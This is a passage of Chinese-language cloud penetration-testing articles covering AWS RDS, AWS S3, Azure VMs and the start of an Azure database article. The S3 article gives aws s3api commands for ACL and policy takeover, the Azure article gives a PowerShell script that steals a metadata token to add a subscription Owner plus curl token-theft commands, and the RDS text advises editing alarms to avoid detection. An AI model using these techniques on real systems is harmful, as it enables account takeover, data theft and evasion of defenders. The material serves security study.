控制台中,可以为目标数据库创建快照,然后将快照共享给自己,这样即使数据库权限丢失,在自己的账号下也能通过还原快照获取数据库内的数据了。 86 | 87 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-18/1650260980-675773-1648439860837-42e7b75e-c0ca-45de-b307-8a6078df68ca.png) 88 | 89 | ## 0x6 防御绕过 90 | 91 | ### 1、编辑警报 92 | 93 | 在 AWS 控制台中,可以通过修改目标的警报信息来避免自己的后续操作操作触发告警。 94 | 95 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-18/1650261000-219966-1648439532003-31c92ed9-8eb9-4478-be60-50d2f67b0a9d.png) 96 | 97 | 98 | ### 2、使用代理服务器连接 99 | 100 | 在实际场景中,应该使用代理服务器连接到目标数据库,以避免自己的 IP 被蓝队发现。 101 | 102 | ## 0x7 信息收集 103 | 104 | ### 1、通知邮箱 105 | 106 | 在 AWS RDS 的控制台处,可以在编辑警报处看到目标配置的通知邮箱地址,这种邮箱地址可能是目标公司的安全部门人员邮箱,应该予以关注。 107 | 108 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-18/1650261015-237315-1648441145037-c3b6745f-3b36-487d-84a6-102da7554c28.png) 109 | 110 | 111 | ### 2、性能详情 112 | 113 | 在 AWS RDS 控制台中,可以通过数据库性能详情信息,收集到目标 RDS TOP SQL 语句、TOP 连接主机、TOP 用户等信息。 114 | 115 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-18/1650261027-907812-1648441827076-fea64279-69ad-4035-902a-08802666be91.png) 116 | 117 | 118 | ### 3、MSSQL 读取实例信息 119 | 120 | 如果拿到了 MSSQL 数据库权限,则可以通过 BULK INSERT 读取数据库所在实例的文件,这里以日志文件为例。 121 | 122 | ```sql 123 | create table #testtable(context ntext.png); 124 | BULK INSERT #testtable FROM 'C:\ProgramData\Amazon\EC2Launch\log\agent.log' 125 | WITH (DATAFILETYPE = 'char',KEEPNULLS.png) 126 | select * from #testtable 127 | drop table #testtable; 128 | ``` 129 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-18/1650261039-216013-1648791471126-93b11551-6b9b-427b-a61b-29887dfd4963.png) 130 | 131 | ### 4、其他的信息收集 132 | 在 RDS 中还可以收集共享快照信息或者对数据库里的信息进行收集等。 133 | 在连接到数据后,可以查看数据库的连接记录,定位到数据库管理人员的 IP,也可以收集数据库中的账号密码,找到数据库的通用密码。 134 | 135 | 除此之外,数据库中存储的网站信息、个人敏感信息等都是信息收集的对象。 136 | 137 | ## 0x8 影响 138 | 139 | ### 1、恶意公开共享 140 | 141 | 如果攻击者将数据库快照恶意公开共享,那么任何人都能在 AWS RDS 公有快照中搜索到该快照,造成数据泄露。 142 | 143 | ### 2、其他影响 144 | 145 | 数据库权限被攻击者拿到后,还会造成破坏数据、篡改数据、加密勒索等等影响。 146 | 147 | 148 | 149 | > 参考资料: 150 | > 151 | > https://docs.aws.amazon.com/zh_cn/AmazonRDS/latest/UserGuide/Welcome.html 152 | > 153 | > https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/ 154 | -------------------------------------------------------------------------------- /docs/articles/aws/AWS S3 对象存储攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: AWS S3 对象存储攻防 3 | id: aws_s3 4 | --- 5 | 6 | ## 0x00 前言 7 | 8 | 对象存储(Object-Based Storage),也可以叫做面向对象的存储,现在也有不少厂商直接把它叫做云存储。 9 | 10 | 11 | 12 | 说到对象存储就不得不提 Amazon,Amazon S3 (Simple Storage Service) 简单存储服务,是 Amazon 的公开云存储服务,与之对应的协议被称为 S3 协议,目前 S3 协议已经被视为公认的行业标准协议,因此目前国内主流的对象存储厂商基本上都会支持 S3 协议。 13 | 14 | 在 Amazon S3 标准下中,对象存储中可以有多个桶(Bucket),然后把对象(Object)放在桶里,对象又包含了三个部分:Key、Data 和 Metadata 15 | 16 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499226-857665-image.png) 17 | 18 | 19 | - Key 是指存储桶中的唯一标识符,例如一个 URL 为:https://teamssix.s3.ap-northeast-2.amazonaws.com/flag,这里的 teamssix 是存储桶 Bucket 的名称,/flag 就是 Key 20 | 21 | - Data 就很容易理解,就是存储的数据本体 22 | 23 | - Metadata 即元数据,可以简单的理解成数据的标签、描述之类的信息,这点不同于传统的文件存储,在传统的文件存储中这类信息是直接封装在文件里的,有了元数据的存在,可以大大的加快对象的排序、分类和查找。 24 | 25 | 26 | 27 | 操作使用 Amazon S3 的方式也有很多,主要有以下几种: 28 | 29 | - AWS 控制台操作 30 | - AWS 命令行工具操作 31 | 32 | - AWS SDK 操作 33 | - REST API 操作,通过 REST API,可以使用 HTTP 请求创建、提取和删除存储桶和对象。 34 | 35 | 36 | 37 | 关于对象存储就介绍到这里,下面来看看在对象存储下的一些攻防手法。 38 | 39 | ## 0x01 Bucket 公开访问 40 | 41 | 在 Bucket 的 ACL 处,可以选择允许那些人访问 42 | 43 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499237-416387-image.png) 44 | 45 | 46 | 如果设置为所有人可列出对象,那么只要知道 URL 链接就能访问,对于设置为私有的情况下,则需要有签名信息才能访问,例如 https://teamssix.s3.ap-northeast-2.amazonaws.com/flag?response-content-disposition=xxx&X-Amz-Security-Token=xxx&X-Amz-Algorithm=xxx&X-Amz-Date=xxx&X-Amz-SignedHeaders=xxx&X-Amz-Expires=xxx&X-Amz-Credential=xxx&X-Amz-Signature=xxx 47 | 48 | 49 | 50 | 对于敏感文件,建议权限设置为私有,并培养保护签名信息的安全意识。 51 | 52 | 理论上,如果公开权限文件的名称设置的很复杂,也能在一定程度上保证安全,但不建议这样做,对于敏感文件,设置为私有权限的安全性要更高。 53 | 54 | ## 0x02 Bucket 爆破 55 | 56 | 当不知道 Bucket 名称的时候,可以通过爆破获得 Bucket 名称,这有些类似于目录爆破,只不过目录爆破一般通过状态码判断,而这个通过页面的内容判断。 57 | 58 | 59 | 60 | 当 Bucket 不存在有两种返回情况,分别是 InvalidBucketName 和 NoSuchBucket 61 | 62 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499246-519741-image.png) 63 | 64 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499256-936192-image.png) 65 | 66 | 67 | 当 Bucket 存在时也会有两种情况,一种是列出 Object 68 | 69 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499265-505241-image.png) 70 | 71 | 72 | 另一种是返回 AccessDenied 73 | 74 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499273-373808-image.png) 75 | 76 | 77 | 这样通过返回内容的不同,就可以进行 Bucket 名称爆破了,知道 Bucket 名称后,Key 的爆破也就很容易了。 78 | 79 | ## 0x03 Bucket Object 遍历 80 | 81 | 在 s3 中如果在 Bucket 策略处,设置了 s3:ListBucket 的策略,就会导致 Bucket Object 遍历 82 | 83 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499283-669847-image.png) 84 | 85 | 86 | 在使用 MinIO 的时候,如果 Bucket 设置为公开,那么打开目标站点默认就会列出 Bucket 里所有的 Key 87 | 88 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499288-336338-image.png) 89 | 90 | 91 | 将 Key 里的值拼接到目标站点后,就能访问该 Bucket 里相应的对象了 92 | 93 | 94 | ## 0x04 任意文件上传与覆盖 95 | 96 | 如果对象存储配置不当,比如公共读写,那么可能就会造成任意文件上传与文件覆盖。 97 | 98 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499307-776657-image.png) 99 | 100 | 101 | 如果目标的对象存储支持 html 解析,那就可以利用任意文件上传进行 XSS 钓鱼、挂暗链、挂黑页、供应链投毒等操作。 102 | 103 | ## 0x05 AccessKeyId、SecretAccessKey 泄露 104 | 105 | 如果目标的 AccessKeyId、SecretAccessKey 泄露,那么就能获取到目标对象存储的所有权限,一般可以通过以下几种方法进行收集: 106 | 107 | - Github 敏感信息搜索 108 | 109 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499320-108806-image.png) 110 | 111 | 112 | - 反编译目标 APK 113 | - 目标网站源代码泄露 114 | 115 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499327-842576-image.png) 116 | 117 | 118 | ## 0x06 Bucket 接管 119 | 120 | 假如在进行渗透时,发现目标的一个子域显示如下内容 121 | 122 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499334-545797-image.png) 123 | 124 | 125 | 通过页面特征,可以判断出这是一个 Amazon 的 S3,而且页面显示 NoSuchBucket,说明这个 Bucket 可以接管的,同时 Bucket 的名称在页面中也告诉了我们,为 test.teamssix.com 126 | 127 | 128 | 129 | 那么我们就直接在 AWS 控制台里创建一个名称为 test.teamssix.com 的 Bucket 就可以接管了 130 | 131 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499341-665421-image.png) 132 | 133 | 134 | 创建完 Bucket 后,再次访问发现就显示 AccessDenied 了,说明该 Bucket 已经被我们接管了。 135 | 136 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499350-259640-image.png) 137 | 138 | 139 | 将该 Bucket 设置为公开,并上传个文件试试 140 | 141 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499362-300482-image.png) 142 | 143 | 144 | 在该子域名下访问这个 test.txt 文件 145 | 146 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499368-740653-image.png) 147 | 148 | 149 | 可以看到通过接管 Bucket 成功接管了这个子域名的权限 150 | 151 | ## 0x07 Bucket ACL 可写 152 | 153 | 列出目标 Bucket 提示被拒绝 154 | 155 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499376-890500-image.png) 156 | 157 | 158 | 查看目标 Bucket ACL 策略发现是可读的,且策略如下 159 | 160 | ```python 161 | aws s3api get-bucket-acl --bucket teamssix 162 | ``` 163 | 164 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499384-341862-image.png) 165 | 166 | 167 | 查询官方文档,内容如下: 168 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499390-374501-image.png) 169 | 170 | 171 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499395-1106-image.png) 172 | 173 | 174 | 175 | 176 | 通过官方文档,可以分析出这个策略表示任何人都可以访问、写入当前 Bucket 的 ACL 177 | 178 | 179 | 180 | 那么也就是说如果我们把权限修改为 FULL_CONTROL 后,就可以控制这个 Bucket 了,最后修改后的策略如下: 181 | 182 | ```json 183 | { 184 | "Owner": { 185 | "ID": "d24***5" 186 | }, 187 | "Grants": [ 188 | { 189 | "Grantee": { 190 | "Type": "Group", 191 | "URI": "http://acs.amazonaws.com/groups/global/AllUsers" 192 | }, 193 | "Permission": "FULL_CONTROL" 194 | } 195 | ] 196 | } 197 | ``` 198 | 199 | 将该策略写入 200 | 201 | ```python 202 | aws s3api put-bucket-acl --bucket teamssix --access-control-policy file://acl.json 203 | ``` 204 | 205 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499424-805159-image.png) 206 | 207 | 208 | 209 | 210 | 再次尝试,发现就可以列出对象了 211 | 212 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499444-119347-image.png) 213 | 214 | 215 | ## 0x08 Object ACL 可写 216 | 217 | 读取 Object 时提示被禁止 218 | 219 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499451-422849-image.png) 220 | 221 | 222 | 查看目标 Object 策略发现是可读的,且内容如下: 223 | 224 | ```python 225 | aws s3api get-object-acl --bucket teamssix --key flag 226 | ``` 227 | 228 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499458-956354-image.png) 229 | 230 | 231 | 这个策略和上面的 Bucket ACL 策略一样,表示任何人都可以访问、写入当前 ACL,但是不能读取、写入对象 232 | 233 | 234 | 235 | 将权限修改为 FULL_CONTROL 后,Object ACL 策略如下: 236 | 237 | ```json 238 | { 239 | "Owner": { 240 | "ID": "d24***5" 241 | }, 242 | "Grants": [ 243 | { 244 | "Grantee": { 245 | "Type": "Group", 246 | "URI": "http://acs.amazonaws.com/groups/global/AllUsers" 247 | }, 248 | "Permission": "FULL_CONTROL" 249 | } 250 | ] 251 | } 252 | ``` 253 | 254 | 将该策略写入后,就可以读取对象了 255 | 256 | ```python 257 | aws s3api put-object-acl --bucket teamssix --key flag --access-control-policy file://acl.json 258 | ``` 259 | 260 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499468-863365-image.png) 261 | 262 | 263 | ## 0x09 特定的 Bucket 策略配置 264 | 265 | 有些 Bucket 会将策略配置成只允许某些特定条件才允许访问,当我们知道这个策略后,就可以访问该 Bucket 的相关对象了。 266 | 267 | 268 | 269 | 例如下面这个策略: 270 | 271 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499478-787411-image.png) 272 | 273 | 274 | ```python 275 | { 276 | "Version": "2012-10-17", 277 | "Statement": [ 278 | { 279 | "Sid": "TeamsSixFlagPolicy", 280 | "Effect": "Allow", 281 | "Principal": "*", 282 | "Action": "s3:GetObject", 283 | "Resource": "arn:aws:s3:::teamssix/flag", 284 | "Condition": { 285 | "StringLike": { 286 | "aws:UserAgent": "TeamsSix" 287 | } 288 | } 289 | } 290 | ] 291 | } 292 | ``` 293 | 294 | 当直接访问 teamssix/flag 的时候会提示 AccessDenied 295 | 296 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499487-425160-image.png) 297 | 298 | 299 | 而加上对应的 User-Agent 时,就可以正常访问了 300 | 301 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499501-781848-image.png) 302 | 303 | 304 | 在实战中,可以去尝试读取对方的策略,如果对方策略没做读取的限制,也许就能读到。 305 | 306 | 其次在进行信息收集的时候,可以留意一下对方可能会使用什么策略,然后再去尝试访问看看那些原本是 AccessDenied 的对象是否能够正常访问。 307 | 308 | ## 0x10 Bucket 策略可写 309 | 310 | ### 修改策略获得敏感文件 311 | 312 | 现有以下 Bucket 策略 313 | 314 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499512-234327-image.png) 315 | 316 | 317 | 可以看到根据当前配置,我们可以对 Bucket 策略进行读写,但如果想读取 s3://teamssix/flag 是被禁止的 318 | 319 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499517-90763-image.png) 320 | 321 | 322 | 因为当前策略允许我们写入 Bucket 策略,因此可以将策略里原来的 Deny 改为 Allow,这样就能访问到原来无法访问的内容了。 323 | 324 | 修改后的策略如下: 325 | 326 | ```shell 327 | { 328 | "Version": "2012-10-17", 329 | "Statement": [ 330 | { 331 | "Effect": "Allow", 332 | "Principal": { 333 | "AWS": [ 334 | "*" 335 | ] 336 | }, 337 | "Action": [ 338 | "s3:GetBucketPolicy", 339 | "s3:PutBucketPolicy" 340 | ], 341 | "Resource": [ 342 | "arn:aws:s3:::teamssix" 343 | ] 344 | }, 345 | { 346 | "Effect": "Allow", 347 | "Principal": { 348 | "AWS": [ 349 | "*" 350 | ] 351 | }, 352 | "Action": [ 353 | "s3:GetObject" 354 | ], 355 | "Resource": [ 356 | "arn:aws:s3:::teamssix/flag" 357 | ] 358 | } 359 | ] 360 | } 361 | ``` 362 | 363 | 这里将第 20 行由原来的 Deny 改成了 Allow 364 | 365 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499526-890183-image.png) 366 | 367 | 368 | 当策略写入后,可以看到成功获取到了原本 Deny 的内容 369 | 370 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499537-630790-image.png) 371 | 372 | 373 | ### 修改网站引用的 s3 资源进行钓鱼 374 | 375 | 当策略可写的时候,除了上面的将可原本不可访问的数据设置为可访问从而获得敏感数据外,如果目标网站引用了某个 s3 上的资源文件,而且我们可以对该策略进行读写的话,也可以将原本可访问的资源权限设置为不可访问,这样就会导致网站瘫痪了。 376 | 377 | 378 | 379 | 例如这样的一个页面 380 | 381 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499544-828341-image.png) 382 | 383 | 384 | 查看源代码可以看到引用了 s3 上的资源 385 | 386 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499552-6499-image.png) 387 | 388 | 389 | 查看 Bucket 策略,发现该 s3 的 Bucket 策略是可读可写的 390 | 391 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499559-771545-image.png) 392 | 393 | 394 | 这时我们可以修改 Bucket 的静态文件,使用户输入账号密码的时候,将账号密码传到我们的服务器上 395 | 396 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499572-310411-image.png) 397 | 398 | 399 | 当用户输入账号密码时,我们的服务器就会收到请求了 400 | 401 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499580-358305-image.png) 402 | 403 | 404 | ### 修改 Bucket 策略为 Deny 使业务瘫痪 405 | 406 | 除了上面的利用手法外,也可以将策略设置为 Deny 407 | 408 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499588-612098-image.png) 409 | 410 | 411 | 当策略 PUT 上去后,网站业务就无法正常使用了 412 | 413 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-02-22/1645499595-801806-image.png) 414 | 415 | 416 | > 参考文章: 417 | > 418 | > https://www.ithome.com/0/501/133.htm 419 | > 420 | > https://mp.weixin.qq.com/s/eZ8OAO5ELgUNvVricIStGA 421 | > 422 | > https://mp.weixin.qq.com/s/r0DuASP6gH_48b5sJ1DCTw 423 | > 424 | > https://blog.csdn.net/bandaoyu/article/details/117469496 425 | > 426 | > https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/Welcome.html 427 | > 428 | > https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/acl-overview.html 429 | > 430 | > https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/access-policy-language-overview.html 431 | -------------------------------------------------------------------------------- /docs/articles/azure/微软云 VM 弹性计算服务攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 微软云 VM 弹性计算服务攻防 3 | id: azure_vm 4 | --- 5 | 6 | ## 0x01、初始访问 7 | ### 1、元数据 8 | 微软云元数据以 REST API 的形式公开。它的根端点是http://169.254.169.254/metadata 9 | 10 | 11 | 12 | 微软为其 API 端点实施了一些额外的安全措施——需要特殊的标头:Metadata:true 13 | 14 | ``` 15 | http://169.254.169.254/metadata/versions 元数据版本,元数据功能会不时更新,但需要在访问时指定版本以保持向后兼容性 16 | http://169.254.169.254/metadata/instance?api-version=2021-05-01 实例元数据,实例元数据提供 VM 配置信息。 17 | http://169.254.169.254/metadata/attested/document?api-version=2021-05-01 认证数据,认证数据是由Microsoft签名的数据 18 | http://169.254.169.254/metadata/loadbalancer?api-version=2021-05-01 负载均衡器元数据 19 | http://169.254.169.254/metadata/scheduledevents?api-version=2020-07-01 预定活动,获取VM即将要发生的事件的信息 20 | http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ 获取访问令牌 21 | ``` 22 | 23 | ### 2、凭证泄露 24 | Azure 平台用户名密码泄露、Access token泄露 25 | 可能会存在服务帐号密钥的位置,包括:开源项目的源代码库、公共存储桶、遭破解服务的公共数据转储、电子邮件收件箱、文件共享、备份存储、临时文件系统目录 26 | 27 | ## 0x02、命令执行 28 | ### 1、添加订阅所有者 29 | 从元数据获取Azure Rest API得令牌,如果返回了一个令牌,那么你将拥有一个可使用得托管身份,然后可以利用此令牌和REST API一起使用,在Azure中执行操作。 30 | ``` 31 | #---------Query MetaData for SubscriptionID---------# 32 | $response2 = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing 33 | $subID = ($response2.Content | ConvertFrom-Json).compute.subscriptionId 34 | 35 | 36 | #---------Get OAuth Token---------# 37 | $response = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -Method GET -Headers @{Metadata="true"} -UseBasicParsing 38 | $content = $response.Content | ConvertFrom-Json 39 | $ArmToken = $content.access_token 40 | 41 | #---------List Roles and Get Subscription Owner GUID---------# 42 | $roleDefs = (Invoke-WebRequest -Uri (-join('https://management.azure.com/subscriptions/',$subID,'/providers/Microsoft.Authorization/roleDefinitions?api-version=2015-07-01')) -Method GET -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).Content | ConvertFrom-Json 43 | $ownerGUID = ($roleDefs.value | ForEach-Object{ if ($_.properties.RoleName -eq 'Owner'){$_.name}}) 44 | 45 | #---------List current Subscription Owners---------# 46 | $roleAssigns = (Invoke-WebRequest -Uri (-join('https://management.azure.com/subscriptions/',$subID,'/providers/Microsoft.Authorization/roleAssignments/?api-version=2015-07-01')) -Method GET -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).content | ConvertFrom-Json 47 | $ownerList = ($roleAssigns.value.properties | where roleDefinitionId -like (-join('*',$ownerGUID,'*')) | select principalId) 48 | Write-Host "Current 'Owner' Principal IDs ("($ownerList.Count)"):" 49 | $ownerList | Out-Host 50 | 51 | 52 | #---------Set JSON body for PUT request---------# 53 | $JSONbody = @" 54 | { 55 | "properties": { 56 | "roleDefinitionId": "/subscriptions/$subID/providers/Microsoft.Authorization/roleDefinitions/$ownerGUID", "principalId": "CHANGE-ME-TO-AN-ID" 57 | } 58 | } 59 | "@ 60 | 61 | #---------Add User as a Subscription Owner---------# 62 | $fullResponse = (Invoke-WebRequest -Body $JSONbody -Uri (-join("https://management.azure.com/subscriptions/",$subID,"/providers/Microsoft.Authorization/roleAssignments/",$ownerGUID,"?api-version=2015-07-01")) -Method PUT -ContentType "application/json" -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).content | ConvertFrom-Json 63 | 64 | #---------List updated Subscription Owners---------# 65 | $roleAssigns = (Invoke-WebRequest -Uri (-join('https://management.azure.com/subscriptions/',$subID,'/providers/Microsoft.Authorization/roleAssignments/?api-version=2015-07-01')) -Method GET -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).content | ConvertFrom-Json 66 | $ownerList = ($roleAssigns.value.properties | where roleDefinitionId -like (-join('*',$ownerGUID,'*')) | select principalId) 67 | Write-Host "Updated 'Owner' Principal IDs ("($ownerList.Count)"):" 68 | $ownerList | Out-Host 69 | ``` 70 | 通过添加的用户即可以去管理订阅 71 | 72 | ### 2、服务器命令执行 73 | 在拿到控制台权限后,可以通过控制台下的运行命令功能来操作虚拟机 74 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831444-423172-image.png) 75 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831458-668414-image.png) 76 | 77 | ### 3、SSH密钥泄露 78 | ## 0x03、权限提升 79 | 一旦我们可以访问托管身份并确认该身份的权限,我们就可以开始提升我们的权限 80 | 身份是订阅所有者:将访客身份添加到订阅 81 | 身份是订阅贡献者:虚拟机横向移动,托管标识可以通过Azure Cli或API在其他虚拟机上执行命令 82 | 83 | ## 0x04、权限维持 84 | ### 1、新增服务器 85 | 在拿到控制台后,添加一台虚拟机作为后续渗透的跳板 86 | ### 2、添加角色分配 87 | 分配角色时,必须指定一个范围。 范围是访问权限适用于的资源集。 在 Azure 中,可在从广义到狭义的四个级别指定范围:管理组、订阅、资源组或资源。 88 | 在顶部的“搜索”框中,搜索要授予对其的访问权限的范围。 例如,搜索“管理组”、“订阅”、“资源组”或某个特定资源 。 89 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831475-860093-image.png) 90 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831481-173554-image.png) 91 | 92 | 再用添加的用户去访问,可以控制该订阅下的所有资源 93 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831488-266770-image.png) 94 | 95 | 96 | ### 3、恶意镜像 97 | 我们可以通过创建镜像功能来创建恶意镜像 98 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831494-278581-image.png) 99 | 100 | 101 | ## 0x05、信息收集 102 | ### 1、元数据 103 | 微软云元数据以 REST API 的形式公开。它的根端点是http://169.254.169.254/metadata 104 | 获取实例元数据,实例元数据提供 VM 配置信息 105 | `curl -H Metadata:true http://169.254.169.254/metadata/instance?api-version=2021-05-01` 106 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831551-301211-image.png) 107 | 108 | 获取认证数据 109 | `curl -H Metadata:true http://169.254.169.254/metadata/attested/document?api-version=2021-05-01 110 | ` 111 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831559-131214-image.png) 112 | 113 | 获取负载均衡器元数据 114 | `curl -H Metadata:true http://169.254.169.254/metadata/loadbalancer?api-version=2021-05-01 115 | ` 116 | 117 | 获取网络信息 118 | `curl -H Metadata:true http://169.254.169.254/metadata/instance/network/interface/0?api-version=2021-01-01` 119 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831570-893215-image.png) 120 | 121 | 122 | 获取用户数据 123 | `curl -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text" | base64 --decode 124 | ` 125 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831575-254295-image.png) 126 | 127 | 128 | 获取访问令牌 129 | ``` 130 | response=$(curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s) 131 | access_token=$(echo $response | python -c 'import sys, json; print (json.load(sys.stdin)["access_token"])') 132 | echo The managed identities for Azure resources access token is $access_token 133 | ``` 134 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831585-233585-image.png) 135 | 136 | 137 | 138 | ### 2、资源信息 139 | 通过控制台所有资源查看该账户下所有资源。 140 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831605-196310-image.png) 141 | 142 | ### 3、订阅信息 143 | 组织可以有多个订阅,订阅名称通常提供信息。 144 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831609-828523-image.png) 145 | 146 | ### 4、用户信息 147 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831613-13312-image.png) 148 | 149 | 150 | ## 0x06、横向移动 151 | ### 1、虚拟机横向移动 152 | ### 2、控制台 153 | 通过拿到弱口令或者添加用户到订阅后,登录控制台可以去控制当前订阅下其他虚拟机。 154 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831618-477234-image.png) 155 | 156 | ## 0x07、影响 157 | ### 1、子域名接管 158 | 当域名对应的实例销毁或者当实例重新启动后对应的公网ip发生变化,但域名还是指向原来的公网ip,此时会存在子域名被接管的风险,但是由于公网ip的随机性,此攻击的利用成本较大。 159 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-13/1649831622-758662-image.png) 160 | 161 | 162 | ## 0x08、总结 163 | 整体而言,微软云VM下的攻击手法主要还是由于凭证泄露、配置错误这类问题导致的。 164 | ## 0x09、参考: 165 | https://docs.azure.cn/zh-cn/virtual-machines/windows/instance-metadata-service?tabs=linux 166 | https://docs.azure.cn/zh-cn/active-directory/managed-identities-azure-resources/how-to-use-vm-token 167 | https://docs.microsoft.com/zh-cn/azure/virtual-machines/linux/run-command 168 | -------------------------------------------------------------------------------- /docs/articles/azure/微软云 云数据库攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 微软云 云数据库攻防 3 | id: azure_rds 4 | --- 5 | 6 | # 0x01 前期侦查 7 | 8 | ## 1、访问凭证泄露 9 | 10 | 在信息收集阶段,通过传统攻防下的信息收集方式,收集到目标的数据库账户密码、微软云平台账户密码,Access token、服务帐号密钥等 11 | 12 | ## 2、备份文件 13 | 14 | 通过https://techcommunity.microsoft.com/t5/azure-database-for-mysql-blog/backup-azure-database-for-mysql-to-a-blob-storage/ba-p/803830处的方法可以将数据库备份,要注意https://cs110032001db2235e9.file.core.windows.net/cs-这样路径下的文件,有可能就是通过上述方法备份的数据库文件。 15 | 16 | # 0x02 初始访问 17 | 18 | ## 1、访问凭证登录 19 | 20 | 如果在前期侦查阶段收集到了数据库的账户和密码,则可以通过其直接登录。或者在前期收集到了高权限的服务账户凭证,可以通过之前VM攻防中的方法去登录微软云控制台,就可以去操作Azure database for Mysql或者Azure database for PostgreSQL了。 21 | 22 | ## 2、弱口令 23 | 24 | 如果微软云数据库存在弱口令,我们可以通过爆破的方式,得到数据库的账户名和密码,进而直接访问数据库。 25 | 26 | 管理员的密码要求为强口令,所以弱口令基本为创建的普通用户。 27 | 28 | ![1](https://huoxian-zone.oss-cn-beijing.aliyuncs.com/images1.png) 29 | 30 | 31 | 32 | # 0x03 执行 33 | 34 | ## 1、云厂商命令行工具 35 | 36 | 创建 